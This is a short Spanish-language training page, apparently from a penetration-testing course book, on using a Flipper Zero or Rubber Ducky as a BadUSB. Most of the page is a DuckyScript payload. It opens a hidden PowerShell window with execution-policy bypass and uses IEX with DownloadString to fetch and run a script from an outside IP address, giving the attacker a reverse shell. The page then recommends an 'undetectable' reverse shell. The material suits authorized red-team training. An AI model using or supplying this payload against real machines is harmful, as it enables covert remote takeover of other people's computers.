> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpad/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpad/vectores-de-ataque-fisico/introduccion-a-flipper-zero/badusb.md).

# BadUSB

Para comprometer un equipo Windows utilizando un BadUSB podriamos utilizar el siguiente script:

{% code overflow="wrap" %}

```batch
REM Title: Reverse shell Via PowerShell
REM Author: Gerardo Eliasib
REM Description: Opens powershell and starts a reverse shell in hidden Powershell window
REM Target: Windows 10 (CMD, Powershell)
REM Version: 1.0
REM Category: Remote Access
DELAY 300
GUI r
DELAY 20
REM --> Utilizando IEX para realizar un GET por medio de la memoria comunicarse con nuestra ReverseShell.ps1
STRING powershell -w h -NoP -NonI -Ep Bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.189.129/Invoke-Spartan.txt');
ENTER
```

{% endcode %}

Si estas utilizando una Rubber Ducky, se debe compilar utilizando la siguiente herramienta:\
<https://payloadstudio.hak5.org/login/>

Te recomendamos utilizar la siguiente Shell Inversa:

{% embed url="<https://books.spartan-cybersec.com/cpad/post-explotacion-en-windows/reverse-shell-en-powershell-indetectable#necesidad-de-cargas-utiles-indetectables>" %}
